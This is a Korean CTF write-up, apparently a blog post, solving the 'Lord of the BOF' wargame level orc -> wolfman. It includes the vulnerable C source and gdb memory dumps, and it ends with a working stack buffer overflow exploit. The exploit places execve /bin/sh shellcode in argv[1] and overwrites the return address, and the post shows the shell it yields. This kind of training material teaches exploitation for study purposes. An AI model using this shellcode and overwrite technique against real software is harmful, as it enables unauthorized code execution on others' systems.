-
[LEVEL5] (orc -> wolfman) : egghunter + bufferhunterWargame/LordOfTheBof (redhat) 2013. 6. 27. 13:25
1. 문제 Source
/* The Lord of the BOF : The Fellowship of the BOF - wolfman - egghunter + buffer hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); }
LEVEL4 와 마찬가지로 환경변수 초기화, argv[1][47]을 if문으로 \xbf인지 체크한다.
이외에도 하나가 더 추가되었는데 바로 buffer를 초기화한다. 따라서 buffer에는 shellcode를 넣을 수 없다.
2. argv[1]에 shellcode 삽입
argv는 argc와 함께 main함수에 들어가기 전 stack에 저장되게 된다.
따라서 strcpy로 buffer에 복사된 뒤, buffer는 초기화 되더라도 argv[1]에 있는 값은 그대로 stack에 남아있게 된다.
이를 확인해 보자.
우선 원본파일에는 권한이 없기 때문에 GDB 사용에 어려움이 따를수도 있다. 원본을 복사하여 사용하자.
(참고 : 원본파일과 파일명 길이가 다를경우 메모리 주소에 차이가 있을수도 있으니, 가능하면 파일명은 같은 길이로 복사하자)
[orc@localhost orc]$ cp wolfman wolfmaa
이후 복사본을 gdb로 열어 분석한다.
[orc@localhost orc]$ gdb -q wolfmaa
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %ebp,%esp
0x8048503 <main+3>: sub %esp,44
...중략...
0x80485b9 <main+185>: lea %eax,[%ebp-40]
0x80485bc <main+188>: push %eax
0x80485bd <main+189>: call 0x8048440 <strcpy>
0x80485c2 <main+194>: add %esp,8
0x80485c5 <main+197>: lea %eax,[%ebp-40]
0x80485c8 <main+200>: push %eax
0x80485c9 <main+201>: push 0x8048669
0x80485ce <main+206>: call 0x8048410 <printf>
0x80485d3 <main+211>: add %esp,8
0x80485d6 <main+214>: push 40
0x80485d8 <main+216>: push 0
0x80485da <main+218>: lea %eax,[%ebp-40]
0x80485dd <main+221>: push %eax
0x80485de <main+222>: call 0x8048430 <memset>
0x80485e3 <main+227>: add %esp,12
0x80485e6 <main+230>: leave
0x80485e7 <main+231>: ret
프로그램 시작 직후<main>, strcpy 이후<main+197>, memset 이후<main+230> 총 3곳에 break point를 걸어 확인해보겠다.
(gdb) b *main
(gdb) b *main+197
(gdb) b *main+230
우선 첫번째 break point인 프로그램 시작 직후<main> 에서 argv[1]을 확인해보자
(gdb) r `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`
Starting program: /home/orc/wolfmaa `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`
Breakpoint 1, 0x8048500 in main ()
(gdb) x/120wx $esp
0xbffffaec: 0x400309cb 0x00000002 0xbffffb34 0xbffffb40
0xbffffafc: 0x40013868 0x00000002 0x08048450 0x00000000
...중략...
0xbffffc3c: 0x6c6f772f 0x61616d66 0x41414100 0x41414141
0xbffffc4c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc5c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc6c: 0x42424241 0xbfbfbf42 0x575000bf 0x682f3d44
0xbffffc7c: 0x2f656d6f 0x0063726f 0x4f4d4552 0x4f484554
(gdb) x/s 0xbffffc45
0xbffffc45: 'A' <repeats 40 times>, "BBBB����"
상당히 윗부분에 있지만, 역시 입력값이 그대로 저장되어 있다.
또한 argv[1]의 주소는 0xbffffc45 인것을 볼 수 있다.
이제 strcpy로 argv[1]의 값이 복사된 buffer를 보자. <main+197>
(gdb) n
Single stepping until exit from function main,
which has no line number information.
Breakpoint 2, 0x80485c5 in main ()
(gdb) x/40wx $esp
0xbffffabc: 0x00000016 0x41414141 0x41414141 0x41414141
0xbffffacc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffadc: 0x41414141 0x41414141 0x41414141 0x42424242
0xbffffaec: 0xbfbfbfbf 0x00000000 0xbffffb34 0xbffffb40
0xbffffafc: 0x40013868 0x00000002 0x08048450 0x00000000
0xbffffb0c: 0x08048471 0x08048500 0x00000002 0xbffffb34
0xbffffb1c: 0x08048390 0x0804861c 0x4000ae60 0xbffffb2c
0xbffffb2c: 0x40013e90 0x00000002 0xbffffc33 0xbffffc45
0xbffffb3c: 0x00000000 0xbffffc76 0xbffffc84 0xbffffc9e
0xbffffb4c: 0xbffffcbd 0xbffffcdf 0xbffffce8 0xbffffeab
(gdb) x/s 0xbffffac0
0xbffffac0: 'A' <repeats 40 times>, "BBBB����"
n - next의 약자로 다음 break point까지 실행한다.
값이 예쁘게 잘 복사되어 있다. 또 buffer의 시작주소는 0xbffffac0인 것을 알 수 있다.
이후 memset <main+230>이 되고, buffer의 값이 모두 초기화 될것이다.
한번 확인해보자.
(gdb) n
Single stepping until exit from function main,
which has no line number information.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����
Breakpoint 3, 0x80485e6 in main ()
(gdb) x/40wx 0xbffffac0
0xbffffac0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffad0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffae0: 0x00000000 0x00000000 0x42424242 0xbfbfbfbf
0xbffffaf0: 0x00000000 0xbffffb34 0xbffffb40 0x40013868
0xbffffb00: 0x00000002 0x08048450 0x00000000 0x08048471
0xbffffb10: 0x08048500 0x00000002 0xbffffb34 0x08048390
0xbffffb20: 0x0804861c 0x4000ae60 0xbffffb2c 0x40013e90
0xbffffb30: 0x00000002 0xbffffc33 0xbffffc45 0x00000000
0xbffffb40: 0xbffffc76 0xbffffc84 0xbffffc9e 0xbffffcbd
0xbffffb50: 0xbffffcdf 0xbffffce8 0xbffffeab 0xbffffeca
역시 buffer가 모두 0으로 초기화 되었다. 이제 argv[1] 부분을 다시 확인해보자.
(gdb) x/20wx 0xbffffc45
0xbffffc45: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc55: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc65: 0x41414141 0x41414141 0x42424242 0xbfbfbfbf
0xbffffc75: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc85: 0x00000000 0x00000000 0x00000000 0x00000000
예상대로 멀쩡하다. 따라서 buffer에 값을 넣듯 argv[1]로 shellcode를 프로그램에 전달하면, buffer값은 초기화 되겠지만 argv[1]에는 여전히 shellcode가 존재하므로 argv[1]의 주소값을 eip로 덮으면 되겠다.
이전 LEVEL4 에서도 설명했듯, gdb로 보는것과 실제 주소값은 차이가 있을수도 있으니 깔끔하게 프로그램을 짜도록 하자.
wolfman의 source code를 그대로 복사해서 argv[1]의 주소값을 출력해주는 code를 추가하자.
[orc@localhost orc]$ cp wolfman.c wolfmaa.c
[orc@localhost orc]$ vi wolfmaa.c
// ...중략... strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); printf("%#x\n", argv[1]); // <- 이 한줄을 추가 }
컴파일 후 실행하면 argv[1]의 주소값이 출력된다. (역시 gdb로 볼때와 주소가 다른것을 알 수 있다)
[orc@localhost orc]$ gcc -o wolfmaa wolfmaa.c
[orc@localhost orc]$ ./wolfmaa `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����
0xbffffc41
Segmentation fault
이제 출력된 argv[1]의 주소 0xbffffc41을 이용해 Exploit을 진행하자.
3. Exploit
사용할 shellcode는 아래와 같다. (총 25 Byte)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
아래는 최종 구성이다.
shellcode
NOP
SFP
RET
25 Byte
15 Byte
4 Byte(NOP)
4 Byte
40 Byte
[orc@localhost orc]$ bash2
[orc@localhost orc]$ ./wolfman `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + '\x90'*19 + '\x41\xfc\xff\xbf'"`
1�Ph//shh/bin��PS��1Ұ
�������������������A���
bash$ my-pass
euid = 505
love eyuna
성공 !
'Wargame > LordOfTheBof (redhat)' 카테고리의 다른 글
[LEVEL7] (darkelf -> orge) : check argv[0] (0) 2013.06.27 [LEVEL6] (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter (0) 2013.06.27 [LEVEL4] (goblin -> orc) : egghunter (0) 2013.06.26 [LEVEL3] (cobolt -> goblin) : small buffer + stdin (0) 2013.06.26 [LEVEL2] (gremlin -> cobolt) : small buffer (0) 2013.06.26